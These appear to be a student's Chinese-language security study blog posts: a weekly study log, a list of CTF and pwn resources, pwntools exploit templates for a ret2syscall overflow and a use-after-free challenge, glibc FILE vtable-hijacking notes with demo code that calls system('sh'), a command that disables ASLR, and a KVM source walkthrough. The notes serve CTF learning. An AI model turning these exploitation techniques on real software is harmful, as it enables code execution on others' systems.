成长之路—学习周报
2023年第一周(3.27-4.2)1.高级网络攻防练习题1(栈迁移、orw、ret2csu),简单学了下第二题堆的两个漏洞原理(largebinattack & poison null byte)
2.精读论文并准备pre的ppt
https://www.usenix.org/conference/usenixsecurity22/presentation/myung
3.补天10周年活动,志愿者、 制作学术道德视频
第二周(4.3-4.9)1.高级攻防writeup,主要练习规范和画图
2.虚拟化pre+分析博客
3.阅读分析malloc源码,分析largebin漏洞
4.栈迁移三道练习题目
5.读论文: MOZE(自动化堆风水)和一篇综述(内存安全)
Maze: Towards Automated Heap Feng Shui
SoK: Eternal War in Memory
6.做了一点但不多: 阅读afl源码、软件漏洞分析与挖掘作业,逆向题以及整合ppt、pwn一键搭建环境脚本
第三周(4.10-4.16)不要惧怕畏惧自己不擅长的,以及觉得自己不喜欢学的,比如AI,早晚可能会用到,所以该学还得学!!
1.精读论文,制作ppt和讲稿pre:自动化堆风水
https://www.usenix.org/conference/usenixsecurity22/presentation/myung
2.三道栈迁移博客 + 5道题练习
3.uaf学习和题目练习
4.计算机系统基础(一):程序的表示、转换与链接 看了四章节左右
第四周(4.17-4.23)1.红明谷杯+中国海洋大学ctf、月赛pwn出题
2.计算机基础看了两章节左右、csapp做了半章习题
3.移动安全作业,大概读了一下demo的代码
https://github.com/song-dev/device-info
第五周(4.24-4.30)这一周上到一半就开始准备五一出去玩了…导致干的活不是很多…
1.南大cs基础继续看,快看完了,csapp第三章做到一半多了
2.复习和学习了一下域渗透、Linux后门
3.移动安全作业,就简单的读懂了实现逻辑,添加了一个读取通讯录的功能
第六周(5.1-5.7)1.cpp学习了两章
2.学习了一点域渗透
3.做了一个csapp实验(二进制炸弹)
第七周(5.8-5.14)1.totolink T10 路由器 环境搭建 业务分析 漏洞复现
第八周(5.15-5.21)1.周六月赛,做了一天
寄……摆了一星期
第九周(5.22-5.28)1.过了音乐考试、游泳考试、软件漏洞分析与发现考试!
2.做了一点组里的活
第十周(5.29-6.4)1.高级网络攻防考试,以及学了一下offbyone,
2.dasctf 二进制专项比赛
第十一周(6.5-6.11)1.升级赛…条件竞争…得好好看看pwncollege了..要学的还很多
2.这周忘了干啥…感觉时间比较零碎…(还是尽量不要把时间打的太散比较好,可以安排一块时间处理散乱的事情)
第十二周 (6.12 - 6.18)1.夏季学期云安全存储实践系统的前端(QT、C++实现)
2.乙队月赛,终于拿到第一名了!拿到奖金了!!,虽然成长缓慢,但是从最初的菜鸡,一道题也做不出来,也看不懂,到现在基本都有思路,简单一点的话能AK,还是有点长进的,算是一点小小的欣慰吧,继续加油!!!
第十三 - 十六周(6.19 - 7.16)休息. 旅游
第十七周 7.17-7.231.虚拟化入门,了解了下虚拟化
2.忘了..好像在摸鱼
第十八周 7.24 - 7.301.虚拟化 了解CPU相关, 看了一下KVM源码
2.pwn学了两种手法
3.回工位装系统装环境….遇到了很奇怪的问题..拆机+反复装系统,感觉挺好玩的….
pwn入门-0-学习资源及备忘仓库
[toc]
每日可看玄武实验室 sec.today
安全研究 GoSSIP 公众号每日推送
吾爱破解 https://www.52pojie.cn
看雪论坛 https://bbs.kanxue.com
v2ex 分享探索 社区 https://www.v2ex.com
资源整合和学习路径https://csdiy.wiki/ 北大学生总结的自学指南,非常好,融合了许多优质的公开课程和书籍
最近待看https://github.com/firmianay/CTF-All-In-One/tree/master 感觉作者有添加一些新的东西(相比那本书)
https://seedsecuritylabs.org/instructor_manual.html seedlab
https://nju-projectn.github.io/ics-pa-gitbook/ics2021/ 南大计算机基础实验
http://www.hackdig.com
https://www.bookstack.cn/read/webxiaohua-gitbook/README.md
https://hacklido.com/ 一个国外的网站, 有篇很励志的文章https://hacklido.com/blog/439-how-i-got-my-oscp-at-16-years-old
https://hsqstephenzhang.github.io/2022/02/10/linux/syscall/vdso/ 腾讯云容器团队的一个老哥的博客,感觉挺有意思
北理工那个团队网站 https://www.isclab.org.cn
https://www.ooopn.com 一个工具网站
https://bbs.kanxue.com/thread-218617.htm 看雪 个人博客
https://hnusec.github.io/#/Stuff
国际知名战队的博客等
https://defcon.org/html/defcon-29/dc-29-speakers.html#fournier
https://blog.csdn.net/Breeze_CAT/article/details/103788631
https://wizardforcel.gitbooks.io/100-gdb-tips/content/call-func.html
https://www.52pojie.cn/thread-1399142-1-1.html
https://hack1s.fun/page/2/
http://javabin.cn 一个搞物联网的,感觉挺有意思
问题libc.so.6怎么用?
https://www.cnblogs.com/Taolaw/p/16281185.html
Glibc,libc gcc工作原理了解清楚
学习资源安全会议四大顶会
blackhat https://www.blackhat.com
https://www.blackhat.com/latestintel/
https://www.blackhat.com/html/archives.html
安全社区(可以没事多逛逛)玄武实验室 sec.today
吾爱破解 https://www.52pojie.cn
看雪论坛 https://bbs.kanxue.com
v2ex 分享探索 社区 https://www.v2ex.com
https://www.ctfiot.com chamd5的! 一个综合信息平台
学习网站CTFwiki(入门必看wiki): https://ctf-wiki.github.io/ctf-wiki/#/introduction
ctftime ctf各个比赛日程,很权威
buuctf https://buuoj.cn/
ctfshow https://ctf.show/challenges
ctfhub
CTFrank: https://ctfrank.org/
攻防世界 xctf官方: https://time.xctf.org.cn
i春秋 https://www.ichunqiu.com/competition
http://www.wechall.net/active_sites 一个ctf网站,同时也收录了很多学习网站
Tryhackme\hackthebox\
pwn专属pwn.college 由浅入深,一步一步,还有机器可以用!
https://pwnable.kr
http://pwnable.tw
重要比赛defcon https://defcon.org/html/defcon-30/dc-30-training.html
书籍《计算机安全导论:深度实践 (杜文亮) 》 很适合入门,讲的非常详细
《从0到1,CTFer的成长之路》
《CTF权威指南-PWN篇》
大佬博客https://xuanxuanblingbling.github.io xuanxuan和他对象的,记录了从小白到大神的一路,感觉写得非常好!
https://blingblingxuanxuan.github.io
https://hurricane618.me IIE学长的博客,有写自己的心路历程,感觉很不错,能从中看到一个人的成长
https://kiprey.github.io 清华网安硕士在读,博客深入浅出,良好的学习路线
https://blog.csdn.net/weixin_45209963?type=blog 天大pwn老哥的博客
计算机底层的秘密 https://github.com/webxiaohua/gitbook/blob/master/SUMMARY.md 这个合集不错
http://ifsec.blogspot.com/2018/02/so-you-want-to-work-in-security-and-for.html
https://bestwing.me/archives/page/14/
https://etenal.me/archives/1121 待看,这个也不错,这一篇是堆的
http://blog.imv1.me NeSE搞内核安全的大佬学长
https://eqqie.cn
https://github.com/kiprey/skr_Learning 一个非常不错的成长路线(每周更新),可以参考,
https://cjting.me 做的一些很深入的小研究,治愈系
https://trailofbits.github.io/ctf/
https://security.ntu.st/
https://github.com/BrieflyX/ctf-pwns
Atum
https://trailofbits.github.io/ctf/
https://security.ntu.st/
https://etenal.me/archives/972#C1
https://github.com/BrieflyX/ctf-pwns
https://y4er.com web
https://blog.flanker017.me
Eastmount(csdn)、娜璋ai安全之家(公众号):博士在读,研究AI、网络安全 https://blog.csdn.net/Eastmount
http://shell-storm.org 国外大佬,还有很多shellcode样本[http://shell-storm.org/shellcode/](
http://scz.617.cn:8 不知道是哪个大佬..
http://showlinkroom.me
https://eternalsakura13.com/
https://kiprey.github.io/
http://blog.eonew.cn/
http://ruanyifeng.com/blog/2018/02/docker-tutorial.html
https://thiscute.world/ 最近发现的两个计算机的大佬,在v2ex中发现的
https://soulteary.com
0xffff社区
https://0xffff.one/d/1085-mit6-s081-operating-system
CTF知名战队网站国科大-NeSE:https://nese.team
清华:https://redbud.info
复旦白泽战队:知乎、微信公众号
X1cT34m: https://ctf.njupt.edu.cn
SU:https://team-su.github.io
星盟:https://space.bilibili.com/489643272 有ctf培训课程 pwn已完结 、 微信公众号:星盟安全
天璇Merak: 微信公众号,有一些文章,更新较少
星盟 http://blog.xmcve.com
漏洞挖掘/分析工具angr
一些小工具:Compiler Explorer 在线应用层代码转汇编
在线运行汇编 https://www.tutorialspoint.com/compile_assembly_online.php
https://www.textcompare.org diff网站,比较各种内容的不同
https://gchq.github.io/CyberChef/ 解密解码工具
https://cloudconvert.com 在线格式转换
https://web.archive.org 查看历史网站记录
https://cloudconvert.com 各种文件的格式转换
https://www.ilovepdf.com pdf操作,切割等
ctf导航http://www.ctfiot.com. ChaMd5团队做的
https://ctf.mzy0.com
特定漏洞相关资源堆how2heap(github)
https://bbs.kanxue.com/thread-272416.htm#msg_header_h1_2
待整理资源https://blog.csdn.net/Breeze_CAT/article/details/103788631
其他查看系统调用
https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
系统调用参考\查看系统调用参数
https://syscalls64.paolostivanin.com
https://elixir.bootlin.com/linux/v5.19/C/ident/getname
macbook 快捷键
http://dragon-li.gitee.io/my-wiki/doc/mac/005-Mac下Iterm2使用及快捷键.html
解题模版
123456789101112131415161718from pwn import *context.log_level= "debug"context.arch='amd64' //sh = process("./ret2syscall")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(sh,"break *0x8048e96")binsh = 0x080BE408edxecxebx = 0x0806eb90eaxret = 0x080bb196int80 = 0x08049421payload = b"a"*(108 + 4) + p32(eaxret) + p32(0xb) + p32(edxecxebx) + p32(0) + p32(0) + p32(0x080BE408)+p32(int80) sh.send(payload)sh.interactive()
1234567891011121314151617181920212223242526from pwn import *context.log_level= "debug"context.arch='amd64'io = process("./hacknote")def add(length,context): io.sendlineafter("choice","1") io.sendlineafter("size",str(length)) io.sendlineafter("Content",context)def delete(index): io.sendlineafter("choice","2") io.sendlineafter("Index",str(index))def Print(index): io.sendlineafter("choice","3") io.sendlineafter("Index",str(index))add(16,"aaa")add(16,"bbb")delete(0)delete(1)add(8,p32(0x08048986))Print(0)io.interactive()#io.recv(1024)
libc版本问题,需要换一下
2.27
[DEBUG] Received 0x29 bytes: b’free(): double free detected in tcache 2\n’
pwn入门-37-IOFILE初探
进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。
啥时chain域? 如何在gdb中调试打印呢?
我们可以在 libc.so 中找到 stdin\stdout\stderr 等符号,这些符号是指向 FILE 结构的指针,真正结构的符号是
readelf怎么找符号来?
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep write@
123_IO_2_1_stderr__IO_2_1_stdout__IO_2_1_stdin_
1234567pwn# readelf -s /lib/x86_64-linux-gnu/libc.so.6 |grep stdin 378: 00000000001ec980 224 OBJECT GLOBAL DEFAULT 34 _IO_2_1_stdin_@@GLIBC_2.2.5 547: 00000000001ed790 8 OBJECT GLOBAL DEFAULT 34 stdin@@GLIBC_2.2.5pwn# readelf -s /lib/x86_64-linux-gnu/libc.so.6 |grep _IO_2_1_st 378: 00000000001ec980 224 OBJECT GLOBAL DEFAULT 34 _IO_2_1_stdin_@@GLIBC_2.2.5 852: 00000000001ed6a0 224 OBJECT GLOBAL DEFAULT 34 _IO_2_1_stdout_@@GLIBC_2.2.5 1427: 00000000001ed5c0 224 OBJECT GLOBAL DEFAULT 34 _IO_2_1_stderr_@@GLIBC_2.2.5
FILE 结构https://blog.csdn.net/xy_369/article/details/130874848
关于代码, 代码存在于glibc/libio/中 主要是libio.h
FILE结构被一系列流操作函数(fopen() fread() fclose())等所使用,大多数的FILE结构保存在堆上(stdin、stdout、stderr除外,位于libc数据段),其指针动态创建并由fopen函数返回
_IO_FILE_plus 在libc2.23版本中,这个结构体是_IO_FILE_plus, 包含了一个 _IO_FILE结构体和一个指向 _IO_jump_t结构体的指针vtable
libioP.h
12345678910/* We always allocate an extra word following an _IO_FILE. This contains a pointer to the function jump table used. This is for compatibility with C++ streambuf; the word can be used to smash to a pointer to a virtual function table. */struct _IO_FILE_plus{ _IO_FILE file; const struct _IO_jump_t *vtable;};
各种文件结构( _IO_FILE )采用单链表的形式连接起来( _chain域),通过 _IO_list_all访问
vtable为函数指针结构体,存放着各种IO相关函数的指针
像_IO_FILE_plus这种这么打印呢
123456789101112131415161718192021222324252627282930313233343536373839pwndbg> p &_IO_list_all$1 = (struct _IO_FILE_plus **) 0x7ffff7fb05a0 <_IO_list_all> pwndbg> p /x *(struct _IO_FILE_plus*) _IO_list_all$3 = { file = { _flags = 0xfbad2086, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7fb06a0, _fileno = 0x2, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = {0x0}, _lock = 0x7ffff7fb17d0, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7faf780, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = {0x0 <repeats 20 times>} }, vtable = 0x7ffff7fac4a0}
vtable 是 IO_jump_t 类型的指针,IO_jump_t 中保存了一些函数指针,在后面我们会看到在一系列标准 IO 函数中会调用这些函数指针
12345678910111213141516171819202122232425pwndbg> p /x *(struct _IO_jump_t*) _IO_list_all.vtable$2 = { __dummy = 0x0, __dummy2 = 0x0, __finish = 0x7ffff7e52f50, __overflow = 0x7ffff7e53d80, __underflow = 0x7ffff7e53a20, __uflow = 0x7ffff7e54f50, __pbackfail = 0x7ffff7e56680, __xsputn = 0x7ffff7e525d0, __xsgetn = 0x7ffff7e52240, __seekoff = 0x7ffff7e51860, __seekpos = 0x7ffff7e55600, __setbuf = 0x7ffff7e51530, __sync = 0x7ffff7e513c0, __doallocate = 0x7ffff7e44c70, __read = 0x7ffff7e525a0, __write = 0x7ffff7e51e60, __seek = 0x7ffff7e51600, __close = 0x7ffff7e51520, __stat = 0x7ffff7e51e40, __showmanyc = 0x7ffff7e56810, __imbue = 0x7ffff7e56820}
初始情况 初始情况下_IO_FILE 结构有_IO_2_1_stderr_ ,_IO_2_1_stdout_,_IO_2_1_stdin_ 三个,通过 _IO_list_all连接起来
stdfiles.c
123456789101112131415161718192021# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \ static struct _IO_wide_data _IO_wide_data_##FD \ = { ._wide_vtable = &_IO_wfile_jumps }; \ struct _IO_FILE_plus NAME \ = {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \ &_IO_file_jumps};# else# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \ struct _IO_FILE_plus NAME \ = {FILEBUF_LITERAL(CHAIN, FLAGS, FD, NULL), \ &_IO_file_jumps};# endif#endifDEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);struct _IO_FILE_plus *_IO_list_all = &_IO_2_1_stderr_;libc_hidden_data_def (_IO_list_all)
并且存在 3 个全局指针 stdin,stdout,stderr 分别指向 _IO_2_1_stdin_,_IO_2_1_stdout_,_IO_2_1_stderr_ 三个结构体。
stdio.c
12345678910#undef stdin#undef stdout#undef stderr_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;#undef _IO_stdin#undef _IO_stdout#undef _IO_stderr
于是初始化后的结构如下,可以看到是头插法插入新来的iofile
fopen fopen在标准IO库中用于打开文件,函数原型如下
1FILE *fopen(char *filename, *type);
源码分析如下
include/stdio.h
123# if IS_IN (libc)extern _IO_FILE *_IO_new_fopen (const char*, const char*);# define fopen(fname, mode) _IO_new_fopen (fname, mode)
libio/iofopen.c
12345_IO_FILE *_IO_new_fopen (const char *filename, const char *mode){ return __fopen_internal (filename, mode, 1);}
具体代码分析
12345678910111213141516171819202122232425_IO_FILE *__fopen_internal (const char *filename, const char *mode, int is32){ struct locked_FILE { struct _IO_FILE_plus fp;#ifdef _IO_MTSAFE_IO _IO_lock_t lock;#endif struct _IO_wide_data wd; } *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE)); //调用malloc分配FILE结构的空间,从这里也可以知道FILE结构存储在堆中 if (new_f == NULL) return NULL;.... _IO_JUMPS (&new_f->fp) = &_IO_file_jumps;//初始化vtable _IO_file_init (&new_f->fp);//调用函数进行进一步初始化操作 if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)//打开目标文件,最后会调用到系统调用open return __fopen_maybe_mmap (&new_f->fp.file); _IO_un_link (&new_f->fp); free (new_f); return NULL;}
fileops.c: _IO_file_init
123456789101112void_IO_new_file_init (struct _IO_FILE_plus *fp){ /* POSIX.1 allows another file handle to be used to change the position of our file descriptor. Hence we actually don't know the actual position before we do the first fseek (and until a following fflush). */ fp->file._offset = _IO_pos_BAD; fp->file._IO_file_flags |= CLOSED_FILEBUF_FLAGS; _IO_link_in (fp);//把新分配的FILE链入_IO_list_all为起始的FILE链表中 fp->file._fileno = -1;}
genops.c 但是这个操作不是会让fp成为头部嘛????????
12345678910111213void_IO_link_in (struct _IO_FILE_plus *fp){ if ((fp->file._flags & _IO_LINKED) == 0) { fp->file._flags |= _IO_LINKED; fp->file._chain = (_IO_FILE *) _IO_list_all; _IO_list_all = fp; ++_IO_list_all_stamp; }}
fread 可以看下参考链接1给的流程图,结合代码来看
libio/iofread.c
fwrite 标准IO库函数,用于向文件流中写入数据, 函数原型如下
1size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);
buffer: 是一个指针,对 fwrite 来说,是需要写入文件的数据的地址;
size: 要写入内容的单字节数;
count: 要进行写入 size 字节的数据项的个数;
stream: 目标文件指针;(要写入的文件)
返回值:实际写入的数据项个数 count。
libio/iofwrite.c
12345678910111213141516171819202122_IO_size_t_IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp){ _IO_size_t request = size * count; _IO_size_t written = 0; CHECK_FILE (fp, 0); if (request == 0) return 0; _IO_acquire_lock (fp); if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1) written = _IO_sputn (fp, (const char *) buf, request); _IO_release_lock (fp); /* We have written all of the input in case the return value indicates this or EOF is returned. The latter is a special case where we simply did not manage to flush the buffer. But the data is in the buffer and therefore written as far as fwrite is concerned. */ if (written == request || written == EOF) return count; else return written / size;}libc_hidden_def (_IO_fwrite)
主要调用了 _IO_sputn 来实现写入的功能, _IO_sputn 位于 _IO_FILE_plus 的 vtable 中,调用这个函数需要首先取出 vtable 中的指针,再跳过去进行调用。 它对应了函数 _IO_new_file_xsputn,咋对应的…
fileops.c
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879_IO_size_t_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n){ const char *s = (const char *) data; _IO_size_t to_do = n; int must_flush = 0; _IO_size_t count = 0; if (n <= 0) return 0; /* This is an optimized implementation. If the amount to be written straddles a block boundary (or the filebuf is unbuffered), use sys_write directly. */ /* First figure out how much space is available in the buffer. */ if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) { count = f->_IO_buf_end - f->_IO_write_ptr; if (count >= n) { const char *p; for (p = s + n; p > s; ) { if (*--p == '\n') { count = p - s + 1; must_flush = 1; break; } } } } else if (f->_IO_write_end > f->_IO_write_ptr) count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */ /* Then fill the buffer. */ if (count > 0) { if (count > to_do) count = to_do;#ifdef _LIBC f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);#else memcpy (f->_IO_write_ptr, s, count); f->_IO_write_ptr += count;#endif s += count; to_do -= count; } if (to_do + must_flush > 0) { _IO_size_t block_size, do_write; /* Next flush the (full) buffer. */ if (_IO_OVERFLOW (f, EOF) == EOF) /* If nothing else has to be written we must not signal the caller that everything has been written. */ return to_do == 0 ? EOF : n - to_do; /* Try to maintain alignment: write a whole number of blocks. */ block_size = f->_IO_buf_end - f->_IO_buf_base; do_write = to_do - (block_size >= 128 ? to_do % block_size : 0); if (do_write) { count = new_do_write (f, s, do_write); to_do -= count; if (count < do_write) return n - to_do; } /* Now write out the remainder. Normally, this will fit in the buffer, but it's somewhat messier for line-buffered files, so we let _IO_default_xsputn handle the general case. */ if (to_do) to_do -= _IO_default_xsputn (f, s+do_write, to_do); } return n - to_do;}libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
这里主要会调用同样位于vtable中的_IO_OVERFLOW,对应函数是 _IO_new_file_overflow
fileops.c
12345678910111213int_IO_new_file_overflow (_IO_FILE *f, int ch){........... if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */ if (_IO_do_flush (f) == EOF) return EOF;..........}libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
在这里会最终调用write系统调用
fclose伪造 劫持 vtable 劫持分为两种,一种是直接改写 vtable 中的函数指针,通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针。
伪造 vtable 劫持程序流程的中心思想就是针对_IO_FILE_plus 的 vtable 动手脚,通过把 vtable 指向我们控制的内存,并在其中布置函数指针来实现。
奇怪,必须要加\n , 和缓冲区刷新有关
gcc -g 可以在调试的时候….
12345678910111213141516#include <stdio.h>int main(void){ FILE *fp; long long *vtable_ptr; fp=fopen("123.txt","rw"); vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable printf("vtable_ptr: %p\n", (void*)vtable_ptr); // 打印vtable_ptr的值 printf("addr1:%p\n", (void*)vtable_ptr); // 打印vtable_ptr的值 printf("addr2:%p\n ",(void*)vtable_ptr); vtable_ptr[7]=0x41414141; //xsputn printf("call 0x41414141");}
但是在目前 libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入的。不过,通过在可控的内存中伪造 vtable 的方法依然可以实现利用。
vtable_addr[0]位于堆中,可以写,这样就相当于要伪造整个vtable表
示例代码 system_ptr根据实际情况修改
1234567891011121314151617181920212223#include <stdio.h>#define system_ptr 0x7ffff7a523a0;int main(void){ FILE *fp; long long *vtable_addr,*fake_vtable; fp=fopen("123.txt","rw"); fake_vtable=malloc(0x40); vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset vtable_addr[0]=(long long)fake_vtable; memcpy(fp,"sh",3); fake_vtable[7]=system_ptr; //xsputn fwrite("hi",2,1,fp);}
可以看到伪造效果,vtable被覆盖为堆上的地址了
fake_vtable[7]=system_ptr; 再把堆上相应内容改成system的地址就可以了
本地尝试不成功,但在gdb中调试的时候是成功的,怀疑是随机化的问题,关闭随机化就可以了
1echo 0 > /proc/sys/kernel/randomize_va_space
参考链接https://blog.csdn.net/qq_45323960/article/details/123810198 大部分图都是参考的这个师傅的,写得非常好! 推荐看原文
ctf-wiki
https://blog.csdn.net/xy_369/article/details/130874848
虚拟化入门-2-KVM源码分析之上下文切换的执行流-内核4.4版本
这里应该有两部分,一部分是,host如何进入guest,进入的时候保存了什么,加载了什么,怎么进行的切换,第二部分是guest在运行的时候,什么情况下会进行退出,切换到host,这个时候又需要保存什么,恢复什么
关于指令的运行, 我理解的如果不是敏感指令,在CPU转为guest状态后,就在物理CPU上执行虚拟机的指令,此时像内存,页表,各种寄存器等也都切换成虚拟机的了,所以就相当于一台真正的机器在运行,不会受到什么影响,只是当遇到敏感指令时,就需要vmexit退出进行特殊处理了
host进入guest | 开始运行虚拟机指令 QEMU中VCPU线程函数为qemu_kvm_cpu_thread_fn(cpus.c),该函数内部有一个循环,执行虚拟机代码,先用cpu_can_run判断是否可以运行,可以的话,进入VCPU执行的核心函数kvm_cpu_exec
VCPU执行的核心函数 kvm_cpu_exec 核心是一个 do while循环,会用kvm_vcpu_ioctl(cpu,KVM_RUN,0)使CPU运行起来, 如果遇到VM Exit,需要qemu处理的话,会返回到这里,让QEMU进行处理.
ioctl(KVM_RUN)是KVM进行处理的,它对应的处理函数是kvm_arch_vcpu_ioctl_run,该函数主要调用vcpu_run
kvm/x86.c
123456int kvm_arch_vcpu_ioctl_run(struct kvm_vcpu *vcpu, struct kvm_run *kvm_run){..... r = vcpu_run(vcpu); ...}
vcpu_runkvm/x86.c
12345678910111213141516171819202122static int vcpu_run(struct kvm_vcpu *vcpu){ int r; struct kvm *kvm = vcpu->kvm; vcpu->srcu_idx = srcu_read_lock(&kvm->srcu); for (;;) { if (kvm_vcpu_running(vcpu)) { r = vcpu_enter_guest(vcpu); } else { r = vcpu_block(kvm, vcpu); } if (r <= 0) break;................ kvm_check_async_pf_completion(vcpu);........}
vcpu_run的函数的主体结构也是一个循环,首先调用kvm_vcpu_running判断当前CPU是否可运行
如果判断是可运行的,则会调用vcpu_enter_guest来进入虚拟机
vcpu_enter_guestkvm/x86.c
在最开始会对vcpu->requests上的请求进行处理,这些请求可能来自多个地方,比如在处理VM Exit时,KVM在运行时需要修改虚拟机状态时等,这些请求都在即将进入guest的时候进行处理
123456789101112131415static int vcpu_enter_guest(struct kvm_vcpu *vcpu){ int r; bool req_int_win = dm_request_for_irq_injection(vcpu) && kvm_cpu_accept_dm_intr(vcpu); bool req_immediate_exit = false; if (vcpu->requests) { if (kvm_check_request(KVM_REQ_MMU_RELOAD, vcpu)) kvm_mmu_unload(vcpu); ............. }
接下来会处理虚拟终端相关请求,然后调用kvm_mmu_reload,与内存设置相关
12345 if (kvm_check_request(KVM_REQ_EVENT, vcpu) || req_int_win) { kvm_apic_accept_events(vcpu);............ r = kvm_mmu_reload(vcpu);
然后设置禁止抢占,之后调用回调函数prepare_guest_switch,vmx对应的函数是vmx_save_host_state, 从名称就可以推测,是准备要进入guest了,此时需要保存host的状态.
123preempt_disable();kvm_x86_ops->prepare_guest_switch(vcpu);
vmx_save_host_state(保存host的信息) 能够看到这个函数里面有很多savesegment和vmcs_write的操作,用来保存host的状态信息。
vmx_vcpu_run(进入guest模式) 紧接着的函数是vmx的run回调,对应的函数时vmx_vcpu_run
x86.c
1kvm_x86_ops->run(vcpu);
该函数首先根据VCPU的状态写一些VMCS的值,然后执行汇编ASM_VMX_VMLAUNCH将CPU置于guest模式,这个时候CPU就开始执行虚拟机的代码
vmx.c
123456789101112131415static void __noclone vmx_vcpu_run(struct kvm_vcpu *vcpu){ ........vmx->__launched = vmx->loaded_vmcs->launched; asm( /* Store host registers */ "push %%" _ASM_DX "; push %%" _ASM_BP ";"..... ...... /* Enter guest mode */ "jne 1f \n\t" __ex(ASM_VMX_VMLAUNCH) "\n\t" "jmp 2f \n\t" "1: " __ex(ASM_VMX_VMRESUME) "\n\t"
guest进入host | 回到宿主机进行处理
VM exit 退出 在kvm的vmx_vcpu_run函数里面执行了ASM_VMX_VMLAUNCH,将CPU置于guest模式,开始运行虚拟机的代码,当后面遇到敏感指令的时候,CPU产生VMExit,此时KVM接管CPU,就会跳到下一行代码,jmp 2f,也就是跳到标号2的地方,看注释很明显,保存guest的寄存器,恢复host的,要进行切换( 不过目前也不完全是这样,
12345678910111213141516171819static void __noclone vmx_vcpu_run(struct kvm_vcpu *vcpu){ ........vmx->__launched = vmx->loaded_vmcs->launched; asm( /* Store host registers */ "push %%" _ASM_DX "; push %%" _ASM_BP ";"..... ....../* Enter guest mode */ "jne 1f \n\t" __ex(ASM_VMX_VMLAUNCH) "\n\t" "jmp 2f \n\t" "1: " __ex(ASM_VMX_VMRESUME) "\n\t" "2: " /* Save guest registers, load host registers, keep flags */ "mov %0, %c[wordsize](%%" _ASM_SP ") \n\t" "pop %0 \n\t" "setbe %c[fail](%0)\n\t"
调用vmcs_read32读取虚拟机退出的原因,保存在vcpu_vmx结构体的exit_reason成员中
12345678static void __noclone vmx_vcpu_run(struct kvm_vcpu *vcpu){ ........vmx->exit_reason = vmcs_read32(VM_EXIT_REASON); .... vmx_complete_atomic_exit(vmx); vmx_recover_nmi_blocking(vmx); vmx_complete_interrupts(vmx);
最后调用3个函数对本次退出进行预处理
回到vcpu_enter_guest进行退出的详细处理 当vmx_vcpu_run运行结束,回到vcpu_enter_guest函数,
x86.c
12345678910static int vcpu_enter_guest(struct kvm_vcpu *vcpu){ .... kvm_x86_ops->run(vcpu); //vmx_vcpu_run .... /* Interrupt is enabled by handle_external_intr() */ kvm_x86_ops->handle_external_intr(vcpu); .... r = kvm_x86_ops->handle_exit(vcpu); return r;
虚拟机退出之后会调用vmx实现的handle_external_intr回调来处理外部中断,并调用handle_exit回调来处理各种退出事件
vmx_handle_external_intr handle_external_intr 对应vmx_handle_external_intr
读取中断信息,判断是否是有效的中断,如果是,读取中断号vector,然后得到宿主机中对应IDT的中断门描述符,最后一段汇编用来执行处理函数,vmx_handle_external_intr会开启中断
也就是说,CPU在guest模式运行时,中断是关闭的,运行着虚拟机代码的CPU不会接收到外部中断,但是外部中断会导致CPU退出guest模式,进入VMX root模式
vmx.c
